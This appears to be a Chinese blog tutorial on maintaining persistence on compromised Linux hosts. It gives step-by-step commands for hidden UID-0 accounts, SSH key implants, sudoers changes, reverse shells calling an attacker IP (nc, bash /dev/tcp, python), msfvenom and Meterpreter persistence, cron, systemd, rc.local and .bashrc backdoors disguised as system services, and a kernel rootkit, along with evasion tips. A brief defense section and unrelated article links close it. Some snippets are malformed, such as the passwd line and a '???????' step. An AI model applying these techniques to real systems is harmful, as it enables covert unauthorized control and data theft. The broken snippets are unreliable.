內網后滲透攻擊--linux系統(權限維持)

用途限制聲明,本文僅用于網絡安全技術研究、教育與知識分享。文中涉及的滲透測試方法與工具,嚴禁用于未經授權的網絡攻擊、數據竊取或任何違法活動。任何因不當使用本文內容導致的法律后果,作者及發布平臺不承擔任何責任。滲透測試涉及復雜技術操作,可能對目標系統造成數據損壞、服務中斷等風險。讀者需充分評估技術能力與潛在后果,在合法合規前提下謹慎實踐。

這次我們來講述權限維持技術,權限維持的核心目標是長期、穩定、隱蔽地控制目標主機,避免因系統重啟、賬號清理、日志審計等操作丟失權限。以下從「系統賬號」「后門程序」「服務 / 計劃任務」「內核層」「環境與啟動項」五大維度,系統梳理常見技術手段,并分析其隱蔽性與風險。

一、系統賬號類維持

通過創建或篡改系統賬號,實現長期登錄,核心是 “讓賬號看起來合法,或難以被發現”。

1.1 隱藏管理員賬號(UID=0)

Linux 中UID=0即擁有 root 權限,可通過修改/etc/passwd創建 “名不副實” 的管理員賬號,甚至隱藏賬號名。

  • 原理/etc/passwd存儲賬號基本信息,格式為用戶名:密碼占位符:UID:GID:注釋:家目錄:shell;若將普通用戶名的UID/GID改為 0,該用戶即擁有 root 權限。
  • 操作
    1. 直接編輯/etc/passwd,添加一行(注意密碼哈希需提前生成,如用openssl passwd -1 密碼生成 MD5 哈希):
      # 正常賬號(UID=1000)
      test:x:1000:1000:Test User:/home/test:/bin/bash
      # 隱藏管理員賬號(UID=0,用戶名前加空格,ls/useradd難以直接發現)
      [空格]admin:$1$abc123$xyz789:/0:0:Hidden Admin:/root:/bin/bash
      
    2. 登錄時使用[空格]admin(輸入時先敲空格)+ 密碼,即可獲取 root 權限。
  • 隱蔽性:常規命令(如cat /etc/passwd | grep root)無法匹配,需cat /etc/passwd逐行查看;但id [空格]adminls -l /home仍可能暴露。

1.2 SSH 公鑰持久化

通過將攻擊者的 SSH 公鑰寫入目標主機的~/.ssh/authorized_keys,實現免密碼登錄,隱蔽性高且抗重啟。

  • 原理:SSH 默認優先驗證authorized_keys中的公鑰,若匹配則無需密碼即可登錄;即使目標修改 root 密碼,公鑰登錄仍有效。
  • 操作
    1. 攻擊者本地生成 SSH 密鑰對:ssh-keygen -t rsa(一路回車,生成~/.ssh/id_rsa私鑰和id_rsa.pub公鑰)。
    2. 將公鑰上傳到目標主機的 root 家目錄(或其他高權限用戶):
      # 目標主機執行(確保.ssh目錄權限為700,authorized_keys為600)
      mkdir -p /root/.ssh && chmod 700 /root/.ssh
      echo "攻擊者的id_rsa.pub內容" >> /root/.ssh/authorized_keys
      chmod 600 /root/.ssh/authorized_keys
      
    3. 攻擊者本地登錄:ssh root@目標IP(無需輸入密碼)。
    4. ssh 用戶@IP地址
  • 隱蔽性優化
    • 隱藏authorized_keys文件:將文件名改為/root/.ssh/authorized_keys2(部分 SSH 配置支持,需確認sshd_configAuthorizedKeysFile參數),或添加隱藏屬性chattr +i /root/.ssh/authorized_keys

1.3 sudo 免密配置

若僅獲取普通用戶權限,可通過修改sudoers文件,讓該用戶免密執行 root 命令,實現 “低權限→高權限” 的持久化。

  • 操作
    1. 編輯sudoers文件(必須用visudo):visudo
    2. 添加一行(test為普通用戶名,允許免密執行所有 root 命令):
      test ALL=(ALL) NOPASSWD: ALL
      
    3. 普通用戶提權:sudo su -(無需輸入密碼,直接切換為 root)。
  • 隱蔽性sudo -l可查看當前用戶的 sudo 權限,需避免目標執行該命令;可限制僅允許免密執行特定命令(如/bin/bash),降低暴露概率。

二、后門程序類維持

通過在目標主機部署后門程序,實現主動連接或被動監聽,核心是 “規避殺軟與進程檢測”。

2.1 反向 Shell 后門

內網環境中,目標通常無法被外網直接訪問,因此反向 Shell(目標主動連接攻擊者)是主流選擇,常見工具有ncbashpython等。

(1)Netcat 反向后門
  • 原理nc(Netcat)是 “網絡瑞士軍刀”,可建立 TCP/UDP 連接并綁定 Shell;需使用靜態編譯版 nc,且優先選擇加密版本。
  • 操作步驟
    1. 攻擊者監聽端口(如 8888):nc -lvp 8888-l監聽,-v詳細輸出,-p指定端口)。
    2. 目標主機執行反向連接(綁定 bash):
      nc -lvp 8888
      # 在目標機執行(替換為你的攻擊機IP和端口)
      rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.228.70.176 8888 > /tmp/f
      #rm -f /tmp/f; mkfifo /tmp/f:刪除可能存在的舊管道文件,創建一個新的命名管道 /tmp/f。
      cat /tmp/f | /bin/bash -i 2>&1:將管道的輸入傳遞給交互式 bash(-i),并將 bash 的輸出(包括錯誤 2>&1)傳遞給后續命令。
      nc 10.228.70.176 8888 > /tmp/f:通過 nc 連接攻擊機的 8888 端口,并將攻擊機發送的命令寫入管道 /tmp/f,形成雙向通信。
      
    3. ???????
  • 隱蔽性優化
    • 重命名nc為系統合法文件名(如/usr/bin/libnet.so),避免被ps直接發現。
    • 后臺運行:nohup ./nc-static 攻擊者IP 8888 -e /bin/bash &nohup忽略掛斷信號,&后臺運行)。
(2)無文件反向 Shell

無需上傳nc等工具,直接利用目標系統自帶的bashpythonperl等命令生成 Shell,規避文件檢測。

  • 示例 1:bash 反向 Shell(僅支持 bash 環境):
    bash -i >& /dev/tcp/攻擊者IP/8888 0>&1
    # 解析:bash -i(交互Shell),將輸出重定向到攻擊者IP:8888,輸入重定向到輸出
    
  • 示例 2:python 反向 Shell(目標需安裝 python):
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻擊者IP",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    
  • 隱蔽性:無落地文件,僅在進程列表中顯示bashpython,需結合進程隱藏技術(如下文的LD_PRELOAD劫持)。

2.2 SSH 后門(替換 / 篡改 SSH 服務,持久化登錄)

通過修改 SSH 服務配置或替換sshd二進制文件,實現 “秘密登錄”,隱蔽性極高。

(1)SSH 密鑰日志后門(記錄合法用戶密碼 / 密鑰)
  • 原理:修改sshd的 PAM(Pluggable Authentication Modules)配置,在用戶登錄時記錄密碼或公鑰,無需替換sshd二進制。
  • 操作步驟
    1. 編輯 PAM 配置文件:vi /etc/pam.d/sshd,添加一行(記錄登錄信息到/tmp/ssh.log):
      session required pam_exec.so /usr/local/bin/ssh-logger.sh
      
    2. 編寫日志腳本/usr/local/bin/ssh-logger.sh(記錄用戶名、IP、時間):
      #!/bin/bash
      echo "$(date +%Y-%m-%d_%H:%M:%S) - User: $PAM_USER, IP: $PAM_RHOST" >> /tmp/ssh.log
      exit 0
      
    3. 賦予腳本權限:chmod +x /usr/local/bin/ssh-logger.sh,重啟 sshd:systemctl restart sshd
  • 隱蔽性/etc/pam.d/sshd是系統常規配置文件,難以發現;日志文件需隱藏(如/var/log/ssh/sshd.log,偽裝系統日志)。
(2)替換 sshd 二進制(植入后門,高權限控制)
  • 原理:使用開源 SSH 后門(如OpenSSH后門)替換系統默認的/usr/sbin/sshd,實現 “特定密碼 / 密鑰登錄”,即使 root 密碼修改仍有效。

2.3 Meterpreter/Cobalt Strike 后門

滲透測試工具(如 Metasploit、Cobalt Strike)提供成熟的 Linux 后門模塊,支持持久化、加密傳輸、進程遷移,適合復雜內網環境。

(1)Metasploit 的 Linux 持久化模塊
  • 操作步驟
    1. 生成 Linux payload(反向連接):
      msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻擊者IP LPORT=8888 -f elf -o backdoor.elf
      
    2. 上傳backdoor.elf到目標,執行獲取 Meterpreter 會話:./backdoor.elf
    3. 在 Meterpreter 中執行持久化:
      run persistence -X -i 30 -p 8888 -r 攻擊者IP
      # -X:系統啟動時自動運行,-i 30:每30秒重連,-p/-r:攻擊者端口/IP
      
  • 原理:模塊會在/etc/rc.localcrontab等啟動項中添加后門,實現開機自啟。
(2)Cobalt Strike Beacon(企業級隱蔽后門)
  • 特點:支持DNS/HTTP/HTTPS隧道(穿透嚴格防火墻)、進程注入(避免獨立進程被發現)、睡眠模式(降低資源占用),是內網后滲透的首選工具。
  • 操作:生成 Linux 格式的 Beacon(如elf文件),上傳目標執行后,通過 C2 服務器控制,可直接在 Beacon 中執行persistence命令配置持久化(如添加計劃任務、系統服務)。

三、服務與計劃任務類維持

利用 Linux 的系統服務(systemd/sysvinit)或計劃任務(crontab),實現 “開機自啟、定時執行”,隱蔽性依賴 “偽裝成合法服務 / 任務”。

3.1 Crontab 計劃任務(簡單高效,最常用)

crontab是 Linux 定時任務管理器,分為用戶級crontab -e)和系統級/etc/crontab/etc/cron.d/),支持分鐘 / 小時 / 日 / 月 / 周的定時執行。

(1)系統級定時任務(高權限,抗用戶清理)
  • 操作示例
    1. 編輯系統級 crontab:vi /etc/crontab,添加一行(每 10 分鐘執行反向 Shell):
      */10 * * * * root /usr/local/bin/backdoor.sh  # 每10分鐘,root用戶執行
      
    2. 編寫backdoor.sh(反向連接腳本,需隱藏路徑和文件名):
      #!/bin/bash
      # 檢查后門是否已運行,避免重復啟動
      if ! ps aux | grep "nc-static" | grep -v grep; then/usr/local/bin/nc-static 攻擊者IP 8888 -e /bin/bash &
      fi
      
    3. 賦予權限:chmod +x /usr/local/bin/backdoor.sh,重啟 crond 服務:systemctl restart crond
  • 隱蔽性優化
    • 偽裝任務注釋:在/etc/crontab中添加類似系統任務的注釋(如# 定時清理日志)。
    • 隱藏腳本路徑:將backdoor.sh放在/usr/lib/usr/bin等系統目錄,重命名為libclean.sh
(2)用戶級定時任務(低權限,不易被系統管理員發現)
  • 普通用戶執行crontab -e,添加定時任務(語法與系統級一致),適合僅獲取普通權限的場景;若該用戶有sudo權限,可定時執行sudo命令提權。

3.2 Systemd 服務持久化

systemd是主流 Linux 發行版(如 CentOS 7+、Ubuntu 16+)的系統初始化系統,通過*.service文件管理服務,支持開機自啟、進程監控(崩潰自動重啟)。

  • 操作步驟
    1. 創建服務文件(如/lib/systemd/system/network-monitor.service,偽裝 “網絡監控服務”):
      [Unit]
      Description=Network Monitor Service  # 偽裝描述
      After=network.target  # 網絡啟動后運行[Service]
      Type=simple
      ExecStart=/usr/local/bin/backdoor.elf  # 后門程序路徑
      Restart=always  # 進程崩潰后自動重啟
      RestartSec=5  # 崩潰后5秒重啟[Install]
      WantedBy=multi-user.target  # 多用戶模式下啟動
      
    2. 啟用并啟動服務:
      systemctl daemon-reload  # 重新加載服務配置
      systemctl enable network-monitor.service  # 開機自啟
      systemctl start network-monitor.service  # 立即啟動
      
  • 隱蔽性systemctl list-units --type=service可查看所有服務,需確保服務名和描述與系統合法服務相似(如networkdsyslog);可通過systemctl mask隱藏服務(不推薦,易觸發告警)。

四、內核層維持

通過加載內核模塊(LKM)后門或植入Rootkit,直接控制 Linux 內核,繞過用戶態檢測工具(如pstopnetstat),隱蔽性最高,但技術門檻也最高。

4.1 LKM Rootkit(加載內核模塊,隱藏進程 / 端口)

LKM(Loadable Kernel Module)是可動態加載到內核的模塊,Rootkit 通過修改內核函數(如sys_getdentssys_getpid),實現 “進程隱藏、端口隱藏、日志篡改”。

常見 LKM Rootkit 工具
工具名稱支持內核版本核心功能風險
KnarkLinux 2.4.x/2.6.x隱藏進程、文件、端口,日志清理僅支持老舊內核,現代內核(3.x+)兼容性差
Adore-ngLinux 2.6.x/3.x隱藏進程、文件,提權,端口轉發需關閉內核安全機制(如 SMAP/SMEP)
DiamorphineLinux 2.6.x-5.x支持新內核,隱藏進程、文件、模塊,反調試開源,易被 EDR 檢測特征
操作原理
  1. 編譯 LKM Rootkit(需匹配目標內核版本,安裝kernel-devel):
    make  # 編譯生成diamorphine.ko(內核模塊文件)
    
  2. 加載模塊(需 root 權限,且內核允許加載未簽名模塊):
    insmod diamorphine.ko  # 加載模塊
    
  3. 隱藏進程(以backdoor.elf為例):
    echo "hide 1234" > /proc/diamorphine  # 1234為backdoor.elf的PID
    
  • 隱蔽性:用戶態工具(如pslsmod)無法檢測到隱藏的進程和模塊;但需繞過內核安全機制(如Secure Boot、內核簽名驗證),現代 Linux 系統默認啟用這些機制,加載 LKM 難度較大。

五、環境與啟動項類維持

通過修改系統啟動文件或環境變量,實現 “用戶登錄 / 系統啟動時自動執行后門”,適合低權限場景。

5.1 登錄 Shell 配置文件(用戶登錄觸發)

Linux 用戶登錄時,會自動執行~/.bashrc~/.bash_profile/etc/profile等配置文件,可在這些文件中植入后門命令。

  • 操作示例
    1. 編輯 root 用戶的~/.bashrc(僅 root 登錄時觸發):
      # 在文件末尾添加(隱藏后門命令,用注釋偽裝)
      # 系統環境變量初始化(偽裝注釋)
      if [ -f /usr/local/bin/sysinit.sh ]; then/usr/local/bin/sysinit.sh &
      fi
      
    2. 編寫/usr/local/bin/sysinit.sh(反向 Shell 腳本):
      #!/bin/bash
      nohup nc 攻擊者IP 8888 -e /bin/bash &
      
  • 隱蔽性cat ~/.bashrc可查看配置,需避免目標手動檢查;可僅在普通用戶的配置文件中植入(如/home/test/.bashrc),降低被系統管理員發現的概率。

5.2 /etc/rc.local

/etc/rc.local是系統啟動的最后一步執行的腳本(需exec /etc/rc.d/rc.local啟用),適合所有用戶登錄前觸發后門。

  • 操作示例
    1. 編輯/etc/rc.local,在exit 0前添加:
      # 啟動系統監控服務(偽裝注釋)
      /usr/local/bin/backdoor.elf &
      
    2. 賦予執行權限:chmod +x /etc/rc.local,啟用服務(CentOS 7+):
      systemctl enable rc-local.service
      systemctl start rc-local.service
      

六、權限維持的核心防御

理解攻擊手段的同時,需掌握防御方法,避免自身系統被入侵后權限維持:

  1. 賬號安全
    • 定期審計/etc/passwd/etc/shadow,檢查異常 UID=0 賬號;
    • 禁用 SSH 公鑰登錄(或僅允許特定 IP),定期清理~/.ssh/authorized_keys
    • 嚴格控制sudoers權限,避免普通用戶免密提權。
  2. 進程與文件監控
    • 使用ps auxnetstat -tulnp定期檢查異常進程和端口;
    • 監控/usr/bin/usr/lib/tmp等目錄的異常文件,對比文件 MD5 哈希與官方值。
  3. 日志審計
    • 啟用auditd服務,監控/etc/passwd/etc/crontabsshd等核心文件 / 服務的修改;
    • 定期檢查/var/log/auth.log(SSH 登錄)、/var/log/cron(計劃任務)、/var/log/messages(系統日志)的異常記錄。
  4. 內核安全
    • 啟用Secure Boot(阻止未簽名內核模塊加載)、SMAP/SMEP(防止內核空間與用戶空間數據訪問);
    • 定期更新內核,修復已知 LKM Rootkit 利用的漏洞。
  5. 終端防護
    • 部署 EDR(終端檢測與響應)工具,如FalconEDR for Linux,檢測反向 Shell、異常進程注入等行為。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/95990.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/95990.shtml
英文地址,請注明出處:http://en.pswp.cn/web/95990.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C++筆記之同步信號量、互斥信號量與PV操作再探(含軟考題目)

C++筆記之同步信號量、互斥信號量與PV操作再探(含軟考題目) code review! 參考筆記: 1.C++筆記之同步信號量、互斥信號量與PV操作再探(含軟考題目) 2.C++筆記之信號量、互斥量與PV操作 參考鏈接 1.嵌入式基礎知識-信號量,PV原語與前趨圖 2.信號量、PV操作及軟考高級試題解析…

布隆過濾器:快速判斷某個元素是否存在

特點:高效、空間占用小、允許一定誤判 布隆過濾器在 Redis 里的實現機制,核心就是:用一個大位圖(bitmap)來表示集合 位圖長度 m 初始值都是 0 插入元素時通過 k 個不同的哈希函數,對元素做哈希 每個哈希結…

C# 修改基類List中某一元素的子類類型

描述&#xff1a;基類&#xff1a;BaseClass子類1&#xff1a;A子類2&#xff1a;B然后我有一個List<BaseClass>類型的鏈表:list&#xff0c;我先往list中添加了兩個元素&#xff1a;第一個元素為A類型&#xff0c;第二個元素為B類型&#xff0c;然后我想改變第一個元素類…

基于STM32智能陽臺監控系統

基于STM32智能陽臺監控系統&#xff08;程序&#xff0b;原理圖元件清單&#xff09;功能介紹具體功能&#xff1a;1.采用STM32作為主控芯片實現檢測和控制&#xff1b;2.通過光敏電阻采集光線&#xff0c;將當前光線值在LCD1602顯示&#xff0c;低于50%控制LED亮&#xff0c;高…

動態維護有效區間:滑動窗口

右指針不斷移動獲取解&#xff0c;左指針不斷移動縮小解范圍 左指針的意義非常重要&#xff0c;相當于一個標兵&#xff0c;不斷與這個標兵進行比較&#xff0c;如果符合要求&#xff0c;這左指針進行移動&#xff0c;并進行操作&#xff0c;如果不符合要求&#xff0c;則左指針…

嵌入式學習---(單片機)

1.UART的概念通用異步收發器&#xff0c;2個串口&#xff08;1個串口被用于ISP下載程序&#xff0c;1個串口被用于和主機之間的通信&#xff09;&#xff0c;RXD(接收信號線) TXD(發送信號線)2、單工、半雙工、全雙工概念對比維度單工&#xff08;Simplex&#xff09;半雙工&am…

基于單片機的寵物屋智能系統設計與實現(論文+源碼)

1設計思路本設計基于單片機的寵物屋智能系統核心是實現對寵物生活環境及狀態的智能管理。系統以單片機為中樞&#xff0c;連接紅外測溫傳感器&#xff0c;可實時精準捕捉寵物體溫變化&#xff0c;以便及時發現健康異常&#xff1b;水位檢測傳感器時刻監測飲用水余量&#xff0c…

【面試】Java基礎面試題

1. Java 基本數據類型有哪些&#xff1f;場景&#xff1a;面試官問「String 是不是基本類型&#xff1f;」答案要點&#xff1a;8 種基本類型&#xff1a;byte, short, int, long, float, double, char, boolean。String 是引用類型。追問鏈條&#xff1a;問&#xff1a;為什么…

PHP云課堂在線網課系統 多功能網校系統 在線教育系統源碼

內容目錄一、詳細介紹二、效果展示1.部分代碼2.效果圖展示三、學習資料下載一、詳細介紹 云課堂&#xff0c;依托騰訊云基礎服務架構&#xff0c;采用C擴展框架Phalcon開發&#xff0c; 系統功能 實現了點播、直播、專欄、會員、積分、秒殺、微聊等。 友情提示&#xff1a;…

GEM5學習(4): 運行全系統模式的ARM系統

詳細說明可以見官網 gem5: Extending gem5 for ARM 下載鏡像 mkdir -p cpu_tests/benchmarks/bin/arm cd cpu_tests/benchmarks/bin/arm wget dist.gem5.org/dist/v22-0/test-progs/cpu-tests/bin/arm/Bubblesort wget dist.gem5.org/dist/v22-0/test-progs/cpu-tests/bin/arm…

快捷:常見ocr學術數據集預處理版本匯總(適配mmocr)

快捷&#xff1a;常見ocr學術數據集預處理版本匯總&#xff08;適配mmocr&#xff09;快捷&#xff1a;常見ocr學術數據集預處理版本匯總&#xff08;適配mmocr&#xff09;狀態指標驗證快捷&#xff1a;常見ocr學術數據集預處理版本匯總&#xff08;適配mmocr&#xff09; 狀…

從抽象到實現:Elasticsearch數據類型及其底層Lucene數據結構的深度解析

第一部分&#xff1a;Lucene基礎&#xff1a;核心索引結構Elasticsearch的強大功能根植于其核心——Apache Lucene&#xff0c;一個高性能、功能完備的搜索引擎庫 1。要深入理解Elasticsearch如何處理各種數據類型&#xff0c;首先必須剖析構成Lucene索引的三個基本數據結構&am…

Claude Code核心功能操作指南

&#xff08;一&#xff09;核心交互面板&#xff1a;認識操作界面 登錄后進入 Claude Code 主界面&#xff0c;核心區域分為三部分&#xff0c;各模塊功能清晰&#xff1a;可以通過 注冊免費體驗。左側導航欄&#xff1a;包含 “新建任務”“歷史記錄”“收藏夾”“幫助中心”…

數據倉庫進化:Agent驅動數智化新范式

目錄 回顧&#xff1a;從 "人為中心" 的數倉&#xff0c;到大數據與云數倉的進化 AI Agent 成為數據的 "新用戶" Agentic Data Stack 如何打破低效與內耗 企業數智化的新范式 案例與趨勢展望 所有軟件都會被 Agent 改寫一遍 經過半個世紀的數據倉庫發…

什么是shellcode

好的&#xff0c;我們來詳細地解釋一下什么是 Shellcode。核心定義Shellcode 是一段精煉的、用作有效載荷&#xff08;Payload&#xff09; 的機器代碼。它之所以叫這個名字&#xff0c;是因為最初這類代碼的唯一目的就是啟動一個命令行 Shell&#xff08;例如 /bin/sh&#xf…

線性代數 | 行圖像 / 列圖像

注&#xff1a;本文為 “線性代數 | 行圖像 / 列圖像” 相關合輯。 圖片清晰度受引文原圖所限。 略作重排&#xff0c;未整理去重。 如有內容異常&#xff0c;請看原文。 MIT 線性代數筆記一 行圖像和列圖像 線性代數行圖像與列圖像解析 herosunly 已于 2022-01-25 15:34:26 …

Batch Normalization:深度學習中的“加速器”與“穩定器”

在深度學習的世界里&#xff0c;神經網絡的訓練常常充滿了挑戰。從復雜的梯度問題到漫長的收斂過程&#xff0c;每一個環節都可能成為阻礙我們前進的絆腳石。而今天&#xff0c;我們要深入探討的 BatchNormalizationBatch NormalizationBatchNormalization&#xff08;批量歸一…

軟考備考①

一、數值及其轉換和數據的表示1、數值及其轉換①任意進制到十進制以二進制為例&#xff0c;以小數點做分割&#xff0c;小數點以左從二的零次方開始&#xff0c;小數點以右從二的負一次方開始。②十進制到任意進制利用短除法③二進制到十六進制分為小數點前和小數點后&#xff…

小程序緩存數據字典

import { getDict } from /api/profile;const CACHE_KEY DICT_CACHE;let dictCache new Map();// 初始化時加載緩存const loadCache () > {const cache uni.getStorageSync(CACHE_KEY);if (cache) {dictCache new Map(JSON.parse(cache));}};// 保存緩存到Storageconst…

Java對象在內存中的布局詳解

1、Java 對象內存布局&#xff08;HotSpot 虛擬機&#xff09;在 ?HotSpot 虛擬機? 中&#xff0c;一個 Java 對象在堆內存中的存儲布局可以分為以下幾個部分&#xff1a;1、對象頭&#xff08;Object Header&#xff09;?對象頭是對象內存布局中最重要的部分之一&#xff0…